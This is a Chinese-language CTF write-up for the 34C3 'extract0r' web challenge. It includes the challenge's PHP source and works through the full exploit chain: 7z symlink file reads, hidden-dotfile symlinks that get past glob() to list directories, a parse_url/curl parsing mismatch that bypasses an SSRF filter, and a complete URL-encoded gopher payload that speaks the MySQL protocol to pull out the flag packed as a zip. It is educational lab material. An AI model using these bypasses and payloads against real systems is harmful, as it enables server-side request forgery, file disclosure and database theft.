美文网首页CTFCTF
34c3 web extract0r!

34c3 web extract0r!

作者: rebirthwyw | 来源:发表于2018-01-04 16:34 被阅读1212次

    34c3 web extract0r!

    这道题目比赛的时候做了差不多两天都没做出来,过完元旦抽了差不多一天半的时间研究了一下这道题,大概从一个萌新的视界讲一下这道题目的一个逻辑。
    题目的源码已经放出来了,感兴趣的可以去github上看一下

    https://github.com/eboda/34c3ctf/tree/master/extract0r
    

    任意文件读取

    index

    上来页面很简单,一个可以上传压缩文件的页面。
    点击extract it!可以完成解压。
    这里很容易想到之前pwnhub也出过的一个题目,通过软链接来达到任意文件读取。但是tar格式的压缩文件却解压失败了。
    尝试以后会发现这个是一个7z格式的文件解压。

    ln -s /etc/passwd a
    7z a -t7z 1.7z a
    
    /etc/passwd

    读取源码

    • index.php
    <?php
    session_start();
    
    include "url.php";
    
    function get_directory($new=false) {
        if (!isset($_SESSION["directory"]) || $new) {
            $_SESSION["directory"] = "files/" . sha1(random_bytes(100));
        }
    
        $directory = $_SESSION["directory"];
    
        if (!is_dir($directory)) {
            mkdir($directory);
        }
    
        return $directory;
    }
    
    function clear_directory() {
        $dir = get_directory();
        $files = glob($dir . '/*'); 
        foreach($files as $file) { 
            if(is_file($file) || is_link($file)) {
                unlink($file); 
            } else if (is_dir($file)) {
                rmdir($file);
            }
        }
    }
    
    function verify_archive($path) {
        $res = shell_exec("7z l " . escapeshellarg($path) . " -slt");
        $line = strtok($res, "\n");
        $file_cnt = 0;
        $total_size = 0;
    
        while ($line !== false) {
            preg_match("/^Size = ([0-9]+)/", $line, $m);
            if ($m) {
                $file_cnt++;
                $total_size += (int)$m[1];
            }
            $line = strtok( "\n" );
        }
    
        if ($total_size === 0) {
            return "Archive's size 0 not supported";
        }
    
        if ($total_size > 1024*10) {
            return "Archive's total uncompressed size exceeds 10KB";
        }
    
        if ($file_cnt === 0) {
            return "Archive is empty";
        }
    
        if ($file_cnt > 5) {
            return "Archive contains more than 5 files";
        }
    
        return 0;
    }
    
    function verify_extracted($directory) {
        $files = glob($directory . '/*'); 
        $cntr = 0;
        foreach($files as $file) {
            if (!is_file($file)) {
                $cntr++;
                unlink($file);
                @rmdir($file);
            }
        }
        return $cntr;
    }
    
    function decompress($s) {
        $directory = get_directory(true);
        $archive =  tempnam("/tmp", "archive_");
    
        file_put_contents($archive, $s);
        $error = verify_archive($archive);
        if ($error) {
            unlink($archive);
            error($error);
        }
    
        shell_exec("7z e ". escapeshellarg($archive) . " -o" . escapeshellarg($directory) . " -y");
        unlink($archive);
    
        return verify_extracted($directory);
    }
    
    function error($s) {
        clear_directory();
        die("<h2><b>ERROR</b></h2> " . htmlspecialchars($s));
    }
    
    $msg = "";
    if (isset($_GET["url"])) {
        $page =  get_contents($_GET["url"]);
    
        if (strlen($page) === 0) {
            error("0 bytes fetched. Looks like your file is empty.");
        } else {
            $deleted_dirs = decompress($page);
            $msg = "<h3>Done!</h3> Your files were extracted if you provided a valid archive.";
    
            if ($deleted_dirs > 0) {
                $msg .= "<h3>WARNING:</h3> we have deleted some folders from your archive for security reasons with our <a href='cyber_filter'>cyber-enabled filtering system</a>!";
            }
        }
    }
    ?>
    
    <html>
        <head><title>extract0r!</title></head>
        <body>
            <form>
                <h1>extract0r - secure file extraction service</h1>
                <p><b>Your Archive:</b></p>
                <p><input type="text" size="100" name="url"></p>
                <p><input type="submit" value="Extract it!"></p>
            </form>
    
            <p>Your extracted files will appear <a href="<?= htmlspecialchars(get_directory()) ?>">here</a>.</p>
            <?php if (!empty($msg)) echo "<hr><p>" . $msg . "</p>"; ?>
        </body>
    </html>
    
    • url.php
    <?php
    function in_cidr($cidr, $ip) {
        list($prefix, $mask) = explode("/", $cidr);
    
        return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> (32-$mask)) << (32-$mask));
    }
    
    function get_port($url_parts) {
        if (array_key_exists("port", $url_parts)) {
            return $url_parts["port"];
        } else if (array_key_exists("scheme", $url_parts)) {
            return $url_parts["scheme"] === "https" ? 443 : 80;
        } else {
            return 80;
        }
    }
    
    function clean_parts($parts) {
        // oranges are not welcome here
        $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";
    
        if (array_key_exists("scheme", $parts)) {
            $parts["scheme"] = preg_replace($blacklisted, "", $parts["scheme"]);
        }
    
        if (array_key_exists("user", $parts)) {
            $parts["user"] = preg_replace($blacklisted, "", $parts["user"]);
        }
    
        if (array_key_exists("pass", $parts)) {
            $parts["pass"] = preg_replace($blacklisted, "", $parts["pass"]);
        }
    
        if (array_key_exists("host", $parts)) {
            $parts["host"] = preg_replace($blacklisted, "", $parts["host"]);
        }
    
        return $parts;
    }
    
    function rebuild_url($parts) {
        $url = "";
        $url .= $parts["scheme"] . "://";
        $url .= !empty($parts["user"]) ? $parts["user"] : "";
        $url .= !empty($parts["pass"]) ? ":" . $parts["pass"] : "";
        $url .= (!empty($parts["user"]) || !empty($parts["pass"])) ? "@" : "";
        $url .= $parts["host"];
        $url .= !empty($parts["port"]) ? ":" . (int) $parts["port"] : "";
        $url .= !empty($parts["path"]) ? "/" . substr($parts["path"], 1) : "";
        $url .= !empty($parts["query"]) ? "?" . $parts["query"] : "";
        $url .= !empty($parts["fragment"]) ? "#" . $parts["fragment"] : "";
    
        return $url;
    }
    
    function get_contents($url) {
        $disallowed_cidrs = [ "127.0.0.0/8", "169.254.0.0/16", "0.0.0.0/8",
            "10.0.0.0/8", "192.168.0.0/16", "14.0.0.0/8", "24.0.0.0/8", 
            "172.16.0.0/12", "191.255.0.0/16", "192.0.0.0/24", "192.88.99.0/24",
            "255.255.255.255/32", "240.0.0.0/4", "224.0.0.0/4", "203.0.113.0/24", 
            "198.51.100.0/24", "198.18.0.0/15",  "192.0.2.0/24", "100.64.0.0/10" ];
    
        for ($i = 0; $i < 5; $i++) {
            $url_parts = clean_parts(parse_url($url));
    
            if (!$url_parts) {
                error("Couldn't parse your url!");
            }
    
            if (!array_key_exists("scheme", $url_parts)) {
                error("There was no scheme in your url!");
            }
    
            if (!array_key_exists("host", $url_parts)) {
                error("There was no host in your url!");
            }
    
            $port = get_port($url_parts);
            $host = $url_parts["host"];
    
            $ip = gethostbynamel($host)[0];
            if (!filter_var($ip, FILTER_VALIDATE_IP, 
                FILTER_FLAG_IPV4|FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)) {
                error("Couldn't resolve your host '{$host}' or 
                    the resolved ip '{$ip}' is blacklisted!");
            }
    
            foreach ($disallowed_cidrs as $cidr) {
                if (in_cidr($cidr, $ip)) {
                    error("That IP is in a blacklisted range ({$cidr})!");
                }
            }
    
            // all good, rebuild url now
            $url = rebuild_url($url_parts);
    
    
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
            curl_setopt($curl, CURLOPT_TIMEOUT, 3);
            curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($curl, CURLOPT_RESOLVE, array($host . ":" . $port . ":" . $ip)); 
            curl_setopt($curl, CURLOPT_PORT, $port);
    
            $data = curl_exec($curl);
    
            if (curl_error($curl)) {
                error(curl_error($curl));
            }
    
            $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
            if ($status >= 301 and $status <= 308) {
                $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
            } else {
                return $data;
            }
    
        }
    
        error("More than 5 redirects!");
    }
    

    任意列目录

    两天被卡在这个点上面也是萌萌哒了。。。比赛时候一直想着绕过url.php等等的事情,或者读一些敏感文件,没去想着列目录。

    function verify_extracted($directory) {
        $files = glob($directory . '/*'); 
        $cntr = 0;
        foreach($files as $file) {
            if (!is_file($file)) {
                $cntr++;
                unlink($file);
                @rmdir($file);
            }
        }
        return $cntr;
    }
    

    当时以为这个限制的很好了,就没多想。。。
    复现的时候一直在想怎么猜到的flag在mysql里,直到随手一试发现glob函数是有问题的。。。

    glob函数
    也就是说$files = glob($directory . '/*');这句话,是不会显示隐藏文件的,所以如果我们软链接生成的是一个隐藏文件,那么就不会被这个函数发现,这样就能软链接一个目录来达到任意列目录的目的。
    ln -s /home/extract0r/ .a
    7z a -t7z 2.7z .a
    
    列目录

    这样就能找到出题人故意留下的线索,一个备份用的sh文件。

    • create_a_backup_of_my_supersecret_flag.sh
    #!/bin/sh
    echo "[+] Creating flag user and flag table."
    mysql -h 127.0.0.1 -uroot -p <<'SQL'
    CREATE DATABASE  IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
    USE `flag`;
    
    DROP TABLE IF EXISTS `flag`;
    CREATE TABLE `flag` (
      `flag` VARCHAR(100)
    );
    
    
    CREATE USER 'm4st3r_ov3rl0rd'@'localhost';
    GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost';
    GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost';
    SQL
    
    echo -n "[+] Please input the flag:"
    read flag
    
    mysql -h 127.0.0.1 -uroot -p <<SQL
    INSERT INTO flag.flag VALUES ('$flag');
    SQL
    
    echo "[+] Flag was succesfully backed up to mysql!"
    

    SSRF

    • 看这个sh文件可以发现,flag在数据库中,同时有一个无密码的m4st3r_ov3rl0rd用户可以访问这个数据库。因为mysql是支持tcp方式建立连接的,所以如果我们能发送一个构造的tcp包,就能做到和本地的3306端口通讯。这里值得注意的一点是,mysql的登录是挑战应答认证机制,认证时server端会随机发送一个salt,因此如果m4st3r_ov3rl0rd用户是有密码的,就没法在非交互的情况下完成tcp的连接。
    • 如何发送tcp包??通过gopher协议可以直接发送一个tcp包的exp。
    • 因为index.php会将curl请求到的数据,用7z进行解压,所以我们还需要人为构造一个7z能解压的文件。
    • url.php限制了访问内网,需要绕过url.php

    绕过url.php

    不得不说,这个url.php是一个我看来很完善的防止ssrf的脚本。绕过url.php的方法在php的curl本身上。绕过的核心问题是,php的parse_url和curl对于url的解析存在不同。

    • 官方给出的绕过是这样的:gopher://foo@[cafebabe.cf]@yolo.com:3306/
      test1
      parse_url认为host是yolo.com
      但是curl却认为host是[cafebabe.cf]
    • rfc3986中是这样定义host的:
    host        = IP-literal / IPv4address / reg-name
    

    然后有这么一段话

    A host identified by an Internet Protocol literal address, version 6 or later, is distinguished by enclosing the IP literal within square brackets ("[" and "]"). This is the only place where square bracket characters are allowed in the URI syntax.
    IP-literal = "[" ( IPv6address / IPvFuture  ) "]"
    

    也就是说[cafebabe.cf]这种类型是rfc规定的一种host的形式,但是里面不应该是reg-name形式的东西。curl识别了[],因此把这个当做了host。

    • rr大佬的绕过是这样的gopher://foo@localhost:f@ricterz.me:3306
      这个我大致的猜测是curl认为foo是userinfo段,然后localhost是host段,碰到:停止获取,就获得了localhost。不过这个payload在我本地7.47的php curl中没有成功。远程应该是7.52。
    • 对于curl和parse_url如何解析url,我做了一些测试以后,大致感觉curl的解析是从左至右找的host,而parse_url则是从右至左的找的host。
    • 对于指定3306端口,因为
      $blacklisted = "/[ \x08\x09\x0a\x0b\x0c\x0d\x0e:\d]/";
      这个的缘故,orange师傅在blackhat上的那个slide里的一些姿势都不能用,比如
      orange
      因此,port只能放在最后的位置。还有这上面这个payload在php curl7.47里也不行,不知道为什么低版本反倒比高版本不容易绕过

    mysql构造压缩包

    • 因为index.php会将拿到的数据用7z解压,所以我们不能只select一个flag,而是要select出一个压缩包的文件。但用mysql实现一个压缩算法什么的把找出来的flag压缩应该是不太可行的。。。我的第一反应是类似tar的打包。就是我们放的是无损的数据就不会存在这个问题。
    • tar和zip都有这样的功能,zip的-n参数可以不压缩具有特定字尾字符串的文件。
    • 这样就可以先构造一个比如100个'A'的文件,然后用zip -n的方式压缩它,效果如图:


      zip
    • 然后可以通过把select出来的flag替换到对应的位置,万幸的是crc校验不对7z也能够解压23333
    • 这样的话,flag前后,我们可以用cast把这个构造的压缩包的内容依葫芦画瓢转化成字节,然后用concat把前后加flag的内容拼起来就ok了。
    echo "use flag;SELECT cast(concat(0x504B03040A00000000000E4F244C8DBC9795640000006400000001001C00325554090003CB894D5AD7894D5A75780B000104E803000004E8030000,rpad(flag,100,'A'),0x504B01021E030A00000000000E4F244C8DBC97956400000064000000010018000000000000000000A48100000000325554050003CB894D5A75780B000104E803000004E8030000504B05060000000001000100470000009F0000000000) AS BINARY) from flag;"|mysql -h127.0.0.1 -um4st3r_ov3rl0rd
    

    构造tcp包

    • tcp包的构造,可以像官方给的exp一样,通过实现mysql的tcp通信方式来直接构造;也可以取巧一点,通过抓包的方式获得。
    • mysql的通信,可以参考这篇http://www.jb51.net/article/131681.htm
    • 抓包的话有一个比较坑的地方,搞的我之前怎么抓也没抓到。就是你本地使用mysql的时候使用Unix套接字来通信的。需要加一个-h127.0.0.1的参数才是通过tcp来通信。
    • 抓到包以后把发送给server的提取出来,保存它的hex值就好了。


      mysql

    先抓包再研究mysql的通信过程也是个不错的选择。

    gopher发包

    这部分很简单,把刚刚提取到的hex值变成url编码的形式,加上gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_就大功告成了。
    最后的payload是

    gopher://foo@[cafebabe.cf]@rebirthwyw.xyz:3306/_%AD%00%00%01%85%A2%BF%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6D%34%73%74%33%72%5F%6F%76%33%72%6C%30%72%64%00%00%6D%79%73%71%6C%5F%6E%61%74%69%76%65%5F%70%61%73%73%77%6F%72%64%00%65%03%5F%6F%73%05%4C%69%6E%75%78%0C%5F%63%6C%69%65%6E%74%5F%6E%61%6D%65%08%6C%69%62%6D%79%73%71%6C%04%5F%70%69%64%04%31%38%39%35%0F%5F%63%6C%69%65%6E%74%5F%76%65%72%73%69%6F%6E%06%35%2E%37%2E%32%30%09%5F%70%6C%61%74%66%6F%72%6D%06%78%38%36%5F%36%34%0C%70%72%6F%67%72%61%6D%5F%6E%61%6D%65%05%6D%79%73%71%6C%21%00%00%00%03%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%5F%63%6F%6D%6D%65%6E%74%20%6C%69%6D%69%74%20%31%12%00%00%00%03%53%45%4C%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%66%6C%61%67%72%01%00%00%03%53%45%4C%45%43%54%20%63%61%73%74%28%63%6F%6E%63%61%74%28%30%78%35%30%34%42%30%33%30%34%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%43%30%30%33%32%35%35%35%34%30%39%30%30%30%33%43%42%38%39%34%44%35%41%44%37%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%2C%72%70%61%64%28%66%6C%61%67%2C%31%30%30%2C%27%41%27%29%2C%30%78%35%30%34%42%30%31%30%32%31%45%30%33%30%41%30%30%30%30%30%30%30%30%30%30%30%45%34%46%32%34%34%43%38%44%42%43%39%37%39%35%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%31%30%30%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%41%34%38%31%30%30%30%30%30%30%30%30%33%32%35%35%35%34%30%35%30%30%30%33%43%42%38%39%34%44%35%41%37%35%37%38%30%42%30%30%30%31%30%34%45%38%30%33%30%30%30%30%30%34%45%38%30%33%30%30%30%30%35%30%34%42%30%35%30%36%30%30%30%30%30%30%30%30%30%31%30%30%30%31%30%30%34%37%30%30%30%30%30%30%39%46%30%30%30%30%30%30%30%30%30%30%29%20%41%53%20%42%49%4E%41%52%59%29%20%66%72%6F%6D%20%66%6C%61%67%01%00%00%00%01
    

    最后的一点是,你抓包的话不难发现mysql除了返回给你值,在前面还会有一些信息,但是7z牛逼啊,不管前面的内容也能给你解压出来23333

    大功告成

    flag

    相关文章

      网友评论

      本文标题:34c3 web extract0r!

      本文链接:https://www.haomeiwen.com/subject/mqurnxtx.html